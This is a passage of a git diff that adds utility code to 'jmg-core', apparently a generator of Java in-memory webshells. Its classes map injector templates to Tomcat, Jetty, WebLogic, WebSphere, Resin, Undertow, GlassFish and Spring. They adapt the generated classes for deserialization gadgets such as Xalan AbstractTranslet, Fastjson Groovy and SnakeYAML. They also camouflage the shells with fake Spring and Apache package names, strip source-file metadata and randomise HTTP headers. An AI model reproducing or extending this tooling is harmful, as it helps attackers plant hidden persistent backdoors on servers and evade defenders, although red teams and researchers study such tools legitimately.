InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java b/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java new file mode 100644 index 0000000..29d671e --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/ClassNameUtil.java @@ -0,0 +1,74 @@ +package jmg.core.util; + + + +import jmg.core.config.Constants; + +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + + +public class ClassNameUtil { + static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"}; + static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"}; + + + public static String getRandomName(String[]... arrays) { + List classNames = new ArrayList<>(); + for (String[] array : arrays) { + for (String className : array) { + classNames.add(className); + } + } + Random random = new Random(); + int index = random.nextInt(classNames.size()); + return classNames.get(index); + } + + + public static String generateRandomString() { + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + int length = random.nextInt(2) + 1; // 生成1-3之间的随机数 + for (int i = 0; i < length; i++) { + char c = (char) (random.nextInt(26) + 'a'); + sb.append(c); + } + return sb.toString(); + } + + public static String getRandomInjectorClassName(){ + + return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); + } + + public static String getRandomExtenderClassName(){ + + return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); + } + + public static String getRandomLoaderClassName(){ + + return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames); + } + + + public static String getClassPrefixName(){ + return ClassNameUtil.getRandomName(prefixNames); + } + + public static String getRandomShellClassName(String shellType) { + + if (shellType.contains(Constants.SHELL_LISTENER)){ + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener"; + } + if (shellType.contains(Constants.SHELL_INTERCEPTOR)){ + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor"; + } + if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){ + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler"; + } + return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter"; + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/CommonUtil.java b/jmg-core/src/main/java/jmg/core/util/CommonUtil.java new file mode 100644 index 0000000..064a4ac --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/CommonUtil.java @@ -0,0 +1,312 @@ +package jmg.core.util; + +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; +import jmg.core.jMGCodeApi; +import me.gv7.woodpecker.tools.common.FileUtil; + +import java.io.*; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.security.SecureRandom; +import java.util.Arrays; +import java.util.Random; +import java.util.regex.Pattern; +import java.util.zip.GZIPInputStream; +import java.util.zip.GZIPOutputStream; + +public class CommonUtil { + + // 合并两个数组 + public static T[] concatenateArrays(T[] array1, T[] array2) { + int length1 = array1.length; + int length2 = array2.length; + + T[] result = Arrays.copyOf(array1, length1 + length2); + + System.arraycopy(array2, 0, result, length1, length2); + + return result; + } + + public static void setFV(Object var0, String var1, Object val) throws Exception { + getF(var0, var1).set(var0, val); + } + + public static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + public static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + + public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } + + + public static String generateRandomString() { + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + int length = random.nextInt(5) + 2; + for (int i = 0; i < length; i++) { + char c = (char) (random.nextInt(26) + 'a'); + if (i == 0) { + c = Character.toUpperCase(c); + } + sb.append(c); + } + return sb.toString(); + } + + public static byte[] base64Decode(String var0) throws Exception { + byte[] var2 = null; + + Class var1; + try { + var1 = Class.forName("java.util.Base64"); + Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null); + var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0)); + } catch (Exception var6) { + try { + var1 = Class.forName("sun.misc.BASE64Decoder"); + Object var4 = var1.newInstance(); + var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0)); + } catch (Exception var5) { + } + } + return var2; + } + + + public static String encodeBase64(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object Encoder = base64.newInstance(); + value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + + public static String genRandomLengthString(int minLength) { + Random random = new Random(); + StringBuilder sb = new StringBuilder(); + int length = random.nextInt(6) + minLength; + for (int i = 0; i < length; i++) { + char c = (char) (random.nextInt(26) + 'a'); + if (i == 0) { + c = Character.toUpperCase(c); + } + sb.append(c); + } + return sb.toString(); + } + + + public static String getRandomString(int length) { + String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + SecureRandom random = new SecureRandom(); + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < length; i++) { + int number = random.nextInt(52); + sb.append(str.charAt(number)); + } + return sb.toString(); + } + + public static String getMd5(String text) throws NoSuchAlgorithmException { + MessageDigest md5 = MessageDigest.getInstance("MD5"); + byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8)); + StringBuilder builder = new StringBuilder(); + for (byte aByte : bytes) { + builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6)); + } + return builder.toString(); + } + + public static byte[] gzipCompress(byte[] data) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { + gzip.write(data); + } + return out.toByteArray(); + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData); + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + + try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) { + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = gzipInputStream.read(buffer)) != -1) { + outputStream.write(buffer, 0, bytesRead); + } + } + + return outputStream.toByteArray(); + } + + + public static byte[] getFileBytes(String file) throws Exception { + File f = new File(file); + int length = (int) f.length(); + byte[] data = new byte[length]; + (new FileInputStream(f)).read(data); + return data; + } + + + public static String getSimpleName(String className) { + int lastDotIndex = className.lastIndexOf("."); + if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) { + return className.substring(lastDotIndex + 1); + } + return className; + } + + + public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) { + String file_output_path = null; + + String fileSeparator = File.separator; + File file = new File(output_path); + if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) { + output_path = file.getParent(); + + } + String[] parts = output_path.split(Pattern.quote(fileSeparator)); + boolean isFilePath = false; // 添加标记用于判断是否为文件路径 + for (String part : parts) { + if (part.contains(".")) { + isFilePath = true; + break; + } else { + if (!output_path.endsWith(fileSeparator)) { + output_path = output_path + fileSeparator; + } + } + } + + if (isFilePath) { // 如果是文件路径直接返回 + File parentDir = file.getParentFile(); + if (!parentDir.exists()) { + parentDir.mkdirs(); + } + return file.getAbsolutePath(); + } + + File dir = new File(output_path); + if (!dir.exists() || !dir.isDirectory()) { + dir.mkdirs(); + } + + // 判断输出格式 + switch (format_type) { + case Constants.FORMAT_CLASS: + file_output_path = output_path + class_simple_name + ".class"; + break; + case Constants.FORMAT_JAR: + case Constants.FORMAT_JAR_AGENT: + file_output_path = output_path + class_simple_name + ".jar"; + break; + case Constants.FORMAT_JSP: + file_output_path = output_path + class_simple_name + ".jsp"; + break; + default: + break; + } + return file_output_path; + } + + + public static void transformToFile(AbstractConfig config) throws Throwable { + config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath())); + jMGCodeApi codeApi = new jMGCodeApi(config); + FileUtil.writeFile(config.getSavePath(), codeApi.generate()); + } + + // base64/bcel/js/biginteger + public static String transformTotext(AbstractConfig config) throws Throwable { + jMGCodeApi codeApi = new jMGCodeApi(config); + return new String(codeApi.generate()); + } + + public static String getThrowableStackTrace(Throwable t) { + StringWriter stringWriter = new StringWriter(); + PrintWriter printWriter = new PrintWriter(stringWriter); + t.printStackTrace(printWriter); + return stringWriter.toString(); + } + +} diff --git a/jmg-core/src/main/java/jmg/core/util/CtClassUtil.java b/jmg-core/src/main/java/jmg/core/util/CtClassUtil.java new file mode 100644 index 0000000..595b801 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/CtClassUtil.java @@ -0,0 +1,67 @@ +package jmg.core.util; + +import javassist.ClassPool; +import javassist.CtClass; +import jmg.core.config.AbstractConfig; +import jmg.core.config.Constants; + +/** + * 专项漏洞的处理 + */ +public class CtClassUtil { + private AbstractConfig config; + private ClassPool pool; + private CtClass ctClass; + + public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) { + this.config = config; + this.pool = pool; + this.ctClass = ctClass; + } + + + public byte[] modifyForExploitation() throws Exception { + if (config.getGadgetType() != null) { + if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) { + applyJDKAbstractTranslet(); + } + if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) { + applyXALANAbstractTranslet(); + } + + if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) { + applyFastjsonGroovyASTTransformation(); + } + if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) { + applySnakeYamlScriptEngineFactory(); + } + } + return ctClass.toBytecode(); + } + + + public void applyJDKAbstractTranslet() throws Exception { + JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); + } + + public void applyXALANAbstractTranslet() { + try { + JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet"); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + // Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口 + public void applyFastjsonGroovyASTTransformation() throws Exception { + config.setImplementsASTTransformationType(true); + JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation"); + JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation"); + } + + // snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口 + public void applySnakeYamlScriptEngineFactory() throws Exception { + config.setImplementsScriptEngineFactory(true); + JavassistUtil.addAnnotation(ctClass, "javax.script.ScriptEngineFactory"); + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java b/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java new file mode 100644 index 0000000..4762f44 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/InjectorUtil.java @@ -0,0 +1,108 @@ +package jmg.core.util; + + +import jmg.core.config.Constants; +import jmg.core.template.*; + +import java.util.HashMap; +import java.util.Map; + +public class InjectorUtil { + + private static final Map INJECTOR_CLASSNAME_MAP = new HashMap(); + private static final Map> classMap = new HashMap(); + + + public InjectorUtil() { + } + + public static String getInjectorName(String serverType, String shellType) { + Map injectorMap = (Map) classMap.get(serverType); + return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, ""); + } + + public static String getInjectorClassName(String injectorName) throws Exception { + if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) { + throw new Exception("Invalid injector type '" + injectorName + "'"); + } else { + return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, ""); + } + } + + static { + + + INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName()); + Map glassfishMap = new HashMap(); + glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector"); + glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector"); + classMap.put(Constants.SERVER_GLASSFISH, glassfishMap); + + INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName()); + Map jettyMap = new HashMap(); + jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector"); + jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector"); + classMap.put(Constants.SERVER_JETTY, jettyMap); + + + INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName()); + Map resinMap = new HashMap(); + resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector"); + resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector"); + classMap.put(Constants.SERVER_RESIN, resinMap); + + INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName()); + Map tomcatMap = new HashMap(); + tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector"); + tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector"); + classMap.put(Constants.SERVER_TOMCAT, tomcatMap); + + + INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName()); + Map undertowMap = new HashMap(); + undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector"); + undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector"); + classMap.put(Constants.SERVER_UNDERTOW, undertowMap); + + INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName()); + Map weblogicMap = new HashMap(); + weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector"); + weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector"); + classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap); + + INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName()); + Map websphereMap = new HashMap(); + websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector"); + websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector"); + classMap.put(Constants.SERVER_WEBSPHERE, websphereMap); + + INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName()); + INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName()); + Map jbossMap = new HashMap(); + jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector"); + jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector"); + classMap.put(Constants.SERVER_JBOSS, jbossMap); + + + INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName()); + Map springMVCMap = new HashMap(); + springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector"); + classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap); + + + INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName()); + Map springWebFluxMap = new HashMap(); + springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector"); + classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap); + + + + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/JavassistUtil.java b/jmg-core/src/main/java/jmg/core/util/JavassistUtil.java new file mode 100644 index 0000000..76881ed --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/JavassistUtil.java @@ -0,0 +1,167 @@ +package jmg.core.util; + +import javassist.*; +import javassist.bytecode.*; +import javassist.bytecode.annotation.Annotation; + +import java.util.List; + +/** + * javassist 工具类 + */ +public class JavassistUtil { + + private static ClassPool pool = ClassPool.getDefault(); + + public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception { + ctClass.defrost(); + try { + // 已存在,修改 + CtMethod ctMethod = ctClass.getDeclaredMethod(methodName); + ctMethod.setBody(methodBody); + } catch (NotFoundException ignored) { + // 不存在,直接添加 + CtMethod method = CtNewMethod.make(methodBody, ctClass); + ctClass.addMethod(method); + } + } + + + public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + ctClass.defrost(); + try { + // 已存在,删除 + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.PUBLIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + + } catch (NotFoundException ignored) { +// // 不存在,直接添加 +// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.STATIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + ctClass.defrost(); + try { + // 已存在,删除 + CtField field = ctClass.getDeclaredField(fieldName); + ctClass.removeField(field); + // ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.PUBLIC); + defField.setModifiers(Modifier.STATIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + + } catch (NotFoundException ignored) { +// // 不存在,直接添加 +// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass)); + + try { + CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass); + defField.setModifiers(Modifier.STATIC); + ctClass.addField(defField, "\"" + fieldValue + "\""); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + + public static void extendClass(CtClass ctClass, String superClassName) throws Exception { + ctClass.defrost(); + CtClass interfaceClass = pool.makeClass(superClassName); + ctClass.setSuperclass(pool.get(interfaceClass.getName())); + } + + public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception { + ctClass.defrost(); + + CtClass interfaceClass = pool.makeInterface(interfaceClassName); + CtClass[] ctClasses = new CtClass[]{interfaceClass}; + ctClass.setInterfaces(ctClasses); + } + + + public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception { + ctClass.defrost(); + ClassFile classFile = ctClass.getClassFile(); + ConstPool constPool = classFile.getConstPool(); + AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag); + Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool); + clazzAnnotationsAttribute.setAnnotation(clazzAnnotation); + ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute); + } + + + // 删除内存马 SourceFileAttribute (源文件名) 信息 + public static void removeSourceFileAttribute(CtClass ctClass) { + ctClass.defrost(); + ClassFile classFile = ctClass.getClassFile2(); + + try { + // javassist.bytecode.ClassFile.removeAttribute Since: 3.21 + CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag}); + } catch (Exception e) { + try { + // 兼容 javassist v3.20 及以下 + List attributes = (List) CommonUtil.getFV(classFile, "attributes"); + removeAttribute(attributes, SourceFileAttribute.tag); + } catch (Exception ignored) { + } + } + } + + + public static synchronized AttributeInfo removeAttribute(List attributes, String name) { + if (attributes == null) return null; + + for (AttributeInfo ai : attributes) + if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai; + + return null; + } + + + public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + if (fieldValue != null) { + JavassistUtil.addField(ctClass, fieldName, fieldValue); + } + } + + public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception { + if (fieldValue != null) { + JavassistUtil.addStaticField(ctClass, fieldName, fieldValue); + } + } + + public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception { + if (className != null) { + ctClass.setName(className); + } + } + + public static String convertClassNameToFilePath(String className) { + return className.replace(".", "/"); + } + +} diff --git a/jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java b/jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java new file mode 100644 index 0000000..ae61155 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/PackageNameUtil.java @@ -0,0 +1,30 @@ +package jmg.core.util; + +import java.util.Random; + +public class PackageNameUtil { + + private static final String[] packageNames = { + "org.springframework", + "org.apache.commons", + "org.apache.logging", + "org.apache", + "com.fasterxml.jackson", + "org.junit", + "org.apache.commons.lang", + "org.apache.http.client", + "com.google.gso", + "ch.qos.logback" + }; + + public static String generatePackageName() { + Random random = new Random(); + String packageName = packageNames[random.nextInt(packageNames.length)]; + return packageName; + } + + + public static String getRandomPackageName() { + return generatePackageName(); + } +} diff --git a/jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java b/jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java new file mode 100644 index 0000000..3e13dc2 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/RandomHttpHeaderUtil.java @@ -0,0 +1,37 @@ +package jmg.core.util; + +import java.util.AbstractMap; +import java.util.Map; +import java.util.Random; + + +public class RandomHttpHeaderUtil { + + private static final Random RANDOM = new Random(); + + public static Map.Entry generateHeader() { + String key = generateRandomKey(); + String value = generateRandomValue(key); + return new AbstractMap.SimpleEntry<>(key, value); + } + + private static String generateRandomKey() { + String[] keys = {"Referer","User-Agent"}; + return keys[RANDOM.nextInt(keys.length)]; + } + + private static String generateRandomValue(String key) { + switch (key) { + case "Referer": + case "User-Agent": + return generateRandomValue(); + default: + return ""; + } + } + + private static String generateRandomValue() { + return CommonUtil.genRandomLengthString(4); + } + +} diff --git a/jmg-core/src/main/java/jmg/core/util/ResponseUtil.java b/jmg-core/src/main/java/jmg/core/util/ResponseUtil.java new file mode 100644 index 0000000..6319501 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/util/ResponseUtil.java @@ -0,0 +1,75 @@ +package jmg.core.util; + +import java.util.HashMap; +import java.util.Map; + + +public class ResponseUtil { + + private static final Map METHOD_BODY_MAP = new HashMap<>(); + + static { + METHOD_BODY_MAP.put("tomcat", getCommonMethodBody()); + METHOD_BODY_MAP.put("weblogic", getCommonMethodBody()); + METHOD_BODY_MAP.put("glassfish", getCommonMethodBody()); + METHOD_BODY_MAP.put("resin", getResinMethodBody()); + METHOD_BODY_MAP.put("jetty", getJettyMethodBody()); + METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody()); + METHOD_BODY_MAP.put("undertow", getUndertowMethodBody()); + } + + public static String getMethodBody(String serverType) { + return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), ""); + } + + private static String getCommonMethodBody() { + return "{javax.servlet.http.HttpServletResponse response = null;" + + " try {" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" + + " } catch (Exception ex) {" + + " try {" + + " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" + + " } catch (Exception ex1) {" + + " }" + + " }" + + " return response;}"; + } + + private static String getResinMethodBody() { + return "{javax.servlet.http.HttpServletResponse response;" + + " response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" + + " return response;}"; + } + + private static String getJettyMethodBody() { + return "{javax.servlet.http.HttpServletResponse response;\n" + + " try{\n" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" + + " }catch (Exception e){\n" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" + + " }\n" + + " return response;}"; + } + + private static String getWebsphereMethodBody() { + return "{javax.servlet.http.HttpServletResponse response;" + + " response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" + + " return response;}"; + } + + + private static String getUndertowMethodBody() { + 